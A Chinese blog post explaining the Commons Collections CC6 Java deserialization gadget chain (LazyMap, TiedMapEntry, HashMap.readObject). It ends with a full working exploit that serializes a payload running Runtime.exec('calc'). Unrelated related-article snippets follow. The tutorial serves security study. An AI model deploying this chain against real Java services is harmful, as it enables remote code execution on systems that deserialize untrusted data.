Java安全 CC链6分析

CC链6分析

  • 前言
  • CC链分析
    • 核心transform链
    • Lazymap类
    • TiedMapEntry类
    • HashMap方法
  • 最终exp

前言

CC链6不受jdk版本与cs版本的影响,在Java安全中最为通用,并且非常简洁,非常有学习的必要,建议在学习CC链6之前先学习一下 URLDNS链 和 CC链1(LazyMap类),这样会事半功倍,更好的理解 CC链6,这里可以先看下我的这两篇文章

Java安全
URLDNS链分析

Java安全
CC链1分析(Lazymap类)

CC链分析

核心transform链

这条链在CC链1中有用到,这里就不做过多解释了,具体解释可以看下我上面的两篇文章,代码如下

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{public static void main(String[] args) throws Exception{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain = new ChainedTransformer(transformers);transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}
}

我们接下来的任务就是去找哪里调用了 transform() 方法

Lazymap类

我们首先还是选中 transform 方法,右键选择查找用法

我们和CC链1相同,来到了LazyMap类,在这个类中所用到的方法也和CC1相同

1707904996292.png

然后查看一下 get 方法的代码,如下

    public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key); //关键map.put(key, value);return value;}return map.get(key);}

我们看到假如满足 map.containsKey(key) == false(map数组中不包含键 key)的话,就会执行factory.transform(key);,也就是说我们需要将 factory 变量赋值为 transformerChain(上面cc链的核心对象),然后触发其 transform 方法

我们再来看一下 Lazymap类中的成员属性 map和factory是否可控,查看下构造方法,其代码如下

    protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");}this.factory = factory;}

可以看到是 protected 类型的,我们无法直接通过构造方法获取这个对象,但一般的这种装饰器类都有一个 decorate 方法,可以返回一个对象,我们在这个类中找到了 decorate 方法,代码如下

    public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}

我们可以看到其 map和factory属性是可控的,我们调用该静态方法即可获取一个LazyMap对象

我们先写一个demo试试这里的get方法是否可以触发cc链1

我们给map传入一个空数组,然后调用get方法的时随便传入一个值,即可触发 factory 参数(cc链核心)的transform方法,因为map是空的,所以我们无论传入什么key,map里面都不会存在

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class main2{public static void main(String[] args) throws Exception{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hash = new HashMap<>();Map decorate = LazyMap.decorate(hash, chainedTransformer);decorate.get("key");}
}

运行demo成功弹出计算器

1707905037709.png

接下来我们的任务便是——哪里可以对我们的Lazymap对象调用get方法,我们选中get方法右键查看用法,由于结果太多,我们直接来到TiedMapEntry类中

TiedMapEntry类路径

org.apache.commons.collections.keyvalue.TiedMapEntry

TiedMapEntry类

我们看下TiedMapEntry类是如何调用 get方法的,代码如下

public Object getValue() {return map.get(key);
}

可以看到代码十分简洁,getValue() 对map变量调用了get方法,并传入了参数key,我们需要将map赋值为我们的LazyMap对象,然后key值任意

我们去看下其构造方法,代码如下

    public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}

可以看到构造方法是公有的,我们可以直接调用构造方法生成TiedMapEntry对象,并对 map和key成员属性赋值

然后我们在这个类中寻找哪个方法调用了getValue()方法,我们在hashCode方法中找到了对该方法的引用,方法代码如下

    public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }

发现hashCode方法中对getValue()方法是无条件引用的,我们只需调用 hashCode方法即可,这里我们将map赋值为我们的LazyMap对象,然后key值任意,写一个由 hashCode方法触发的demo试一试

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hash = new HashMap<>();Map decorate = LazyMap.decorate(hash, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, null);tiedMapEntry.hashCode();}
}

可以看到成功弹出计算器

1707905126901.png

接下来便是寻找哪里可以对我们的TiedMapEntry对象调用hashCode方法

强烈建议先看一下上面 URLDNS 链分析的文章

一般我们找到hashCode方法之后,便是利用以下这条链了

Gadget Chain:HashMap.readObject()HashMap.putVal()HashMap.hash()xxx.hashCode()

HashMap方法

我们直接来到 HashMap.java文件,查看HashMap类

我们查看其 hash方法,代码如下

    static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

发现该方法对传入的参数 key 调用了hashCode方法,前提是满足key不为空

这里key肯定不能为空,要赋值为我们的TiedMapEntry对象

我们再找下哪里调用了 hash方法,这里来到了readObject方法,关键代码如下

找到了 readObject方法也就意味着找到了CC链的起点

    private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

可以看到最后一行代码,对参数 key 调用了hash方法,我们分析下key是怎么获得的

通过以下代码可以看出定义了一个K类型的key变量,然后对反序列化的输入流进行反序列化,并把反序列化出的复制给key变量,也就是我们把 TiedMapEntry类当做传给HashMap即可

K key = (K) s.readObject();

K类型是代表键的泛型,其定义的数据可以是任何类型,但只能作为map中的键

最终exp

cc链6 exp如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class cc6 {public static void main(String[] args) throws IOException, ClassNotFoundException {//定义一系列Transformer对象,组成一个变换链Transformer[] transformers = new Transformer[]{//返回Runtime.classnew ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),//通过反射调用invoke()方法new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//通过反射调用exec()方法启动calcnew InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hash = new HashMap<>();Map decorate = LazyMap.decorate(hash, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,null);HashMap hashMap = new HashMap();hashMap.put(tiedMapEntry,"Elite");serialize(hashMap);unserialize("1.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));out.writeObject(obj);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}}

经测试成功弹出计算器

1707905158663.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/683061.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

创建良好班风的重要性和意义

为什么有的班级总是充满活力&#xff0c;学生们团结友爱、学习热情高涨&#xff0c;而有的班级却显得沉闷&#xff0c;学生们缺乏动力&#xff0c;对学习毫无兴趣&#xff1f;其实&#xff0c;这背后的关键就在于班风的建设。 班风&#xff0c;简单说&#xff0c;就是一个班级…

IDEA在package下右键,没有new选项

正常情况下如下图&#xff0c;我们在文件夹上右键&#xff0c;是会出现New选项的。 但是今天我尝试将" add frameworks support"添加到右键时&#xff0c;竟然把New都删除了。如下图 搜遍全网&#xff0c;结果搜到的都是为什么在package或者文件夹上右键出现的Ne…

springboot185基于vue.js的客户关系管理系统(crm)的设计与实现

简介 【毕设源码推荐 javaweb 项目】基于springbootvue 的 适用于计算机类毕业设计&#xff0c;课程设计参考与学习用途。仅供学习参考&#xff0c; 不得用于商业或者非法用途&#xff0c;否则&#xff0c;一切后果请用户自负。 看运行截图看 第五章 第四章 获取资料方式 **项…

【Linux技术宝典】深入理解Linux基本指令:命令行新手指南

&#x1f4f7; 江池俊&#xff1a; 个人主页 &#x1f525;个人专栏&#xff1a; ✅数据结构冒险记 ✅Linux技术宝典 &#x1f305; 有航道的人&#xff0c;再渺小也不会迷途。 文章目录 一、Linux下基本指令1. ls 指令2. pwd指令3. clear指令4. cd指令什么是家目录&#xf…

基于AI Agent探讨:安全领域下的AI应用范式

先说观点&#xff1a;关于AI应用&#xff0c;通常都会聊准召。但在安全等模糊标准的场景下&#xff0c;事实上不存在准召的定义。因此&#xff0c;AI的目标应该是尽可能的“像人”。而想要评价有多“像人”&#xff0c;就先需要将人的工作数字化。而AI Agent是能够将数字化、自…

java基础实现的图书管理系统

文章目录 项目介绍项目功能代码讲解如何实现不同用户之间的操作权限不同 项目介绍 该项目是用的是javase的一些知识包括了类和对象封装&#xff0c;继承多态等面向对象的三大特性。主要是为了让我们能够更好的使用之前学到的知识。 接下来给大家讲解一下这个项目的一个特点。首…

31.File文件

File文件 1. 概述2. 构造方法2.1 方法2.2 代码示例 3. 成员方法3.1 判断、获取的方法3.1.1 方法3.1.2 代码示例 3.2 创建、删除的方法3.2.1 方法3.2.2 代码示例 3.3 获取、遍历的方法3.3.1 重点方法3.3.1.1 方法3.3.1.2 代码示例 3.3.2 所有方法3.3.2.1 方法3.3.2.2 代码示例 4…

OpenGL-ES 学习(4)---- OpenGL-ES 坐标体系

坐标体系 我们知道 OpenGL -ES 坐标系中每个顶点的 x&#xff0c;y&#xff0c;z 坐标都应该在 -1.0 到 1.0 之间&#xff0c;超出这个坐标范围的顶点都将不可见。 将一个物体&#xff08;图像&#xff09;渲染到屏幕上&#xff0c;通常经过将物体坐标转换为标准化设备坐标&am…

蓝牙BLE学习-GAP

1.概述 GAP层&#xff08;Generic access profile-通用访问配置文件&#xff09;。GAP是对LL层payload&#xff08;有效数据包&#xff09;如何进行解析的两种方式的一种&#xff0c;而且也是最简单的一种。GAP简单的对LL payload进行一些规范和定义&#xff0c;因此GAP能实现的…

(三十八)大数据实战——Atlas元数据管理平台的部署安装

前言 Apache Atlas 是一个开源的数据治理和元数据管理平台&#xff0c;旨在帮助组织有效管理和利用其数据资产。为组织提供开放式元数据管理和治理功能 &#xff0c;用以构建其数据资产目录&#xff0c;对这些资产进行分类和管理&#xff0c;形成数据字典 。并为数据分析师和数…

深度学习之反向传播算法

反向传播算法 数学公式算法代码结果 算法中一些函数的区别 数学公式 算法代码 这里用反向传播算法&#xff0c;计算 y w * x模型 import numpy as np import matplotlib.pyplot as ply#反向传播算法&#xff0c;需要使用pytorch框架&#xff0c; #这里导入pytorch框架&#xf…

MySQL 基础知识(四)之表操作

目录 1 约束 2 查看已有表 3 创建表 4 查看表结构 5 修改表 6 删除表 1 约束 主键约束 primary key&#xff1a;唯一&#xff0c;标识表中的一行数据&#xff0c;此列的值不可重复&#xff0c;且不能为 NULL&#xff0c;此外&#xff0c;可以多个列组成主键唯一约束 uniq…

Phobos捆绑某数控软件AdobeIPCBroker组件定向勒索

前言 Phobos勒索病毒最早于2019年被首次发现并开始流行起来&#xff0c;该勒索病毒的勒索提示信息特征与CrySiS(Dharma)勒索病毒非常相似&#xff0c;但是两款勒索病毒的代码特征却是完全不一样&#xff0c;近日笔者在逛某开源恶意软件沙箱的时候发现了一款Phobos勒索病毒捆绑…

Windows编程环境配置!

喜欢的话麻烦大家多点点关注&#xff0c;谢谢&#xff01; 原文地址&#xff1a;Windows编程环境配置&#xff01; - Pleasure的博客 下面是正文内容&#xff1a; 前言 近期闲来无事&#xff0c;就想着把Windows系统中的环境给完善整理一下。方便后续码字时的不时之需。 正文…

百度云AI

百度云AI概述 Face腾讯优图科大讯飞 百度人脸识别基于深度学习的人脸识别方案&#xff0c;准确识别图片中的人脸信息&#xff0c;提供如下功能&#xff1a; 人脸检测&#xff1a;精准定位图中人脸&#xff0c;获得眼、口、鼻等72个关键点位置&#xff0c;分析性别、年龄、表…

[python] 罗技动态链接驱动库DLL 控制 键鼠

[python] 罗技动态链接驱动库DLL 控制 键鼠 最近在玩搬砖游戏晶核, 每天有很多重复繁琐的"打卡"操作, 得知隔壁御三家游戏就有大佬做了自动收割的辅助工具,我就想模仿写一个.不过大佬们写的开源工具厉害得多,加了神经网络自动识别,实现寻路和点击功能.我目前最多就是…

模拟电子技术——分压式偏置放大电路、多级放大电路、差动放大电路、互补输出级

文章目录 前言基本放大电路链接&#xff0c;上一篇 [基本放大电路](https://blog.csdn.net/weixin_47541751/article/details/136112075?spm1001.2014.3001.5502) 一、分压式偏置放大电路什么是分压式偏置电路分压式电路组成电路分析估算静态工作点 二、多级放大电路什么是多级…

仰暮计划|“他们吃树皮,挖野菜,将玉米棒和玉米皮也做成食物来解饥”

我的姥姥今年七十岁了&#xff0c;她病的很严重&#xff0c;我趁着在病房的这段时间对她进行了采访。 我的姥姥1953年出生在一个小山村里&#xff0c;她有四个兄弟和两个姐妹&#xff0c;据她说&#xff0c;她的父母既是爱她的又是严厉的&#xff0c;因为孩子多并且生活困难&a…

python - OSError:错误没有名为 [‘pytorch_model.bin‘

python - OSError&#xff1a;错误没有名为 [‘pytorch_model.bin’] 自己训练的模型存储好了以后 model MT5ForConditionalGeneration.from_pretrained(“ner/best”) 之前还可以跑 现在报错 错误没有名为 [‘pytorch_model.bin’] 还原了一下conda env 把四版变成三版了 …

C# CAD2016 判断多边形的方向正时针或逆时针旋转

方法一&#xff1a;基于相邻顶点相对位置判断顺时针排列 // 计算当前子序列是否为顺时针排列 for (int i 1; i < outerPoints.Count; i) {int index (startVertexIndex i) % outerPoints.Count;int prevIndex (startVertexIndex i - 1) % outerPoints.Count;Point2d c…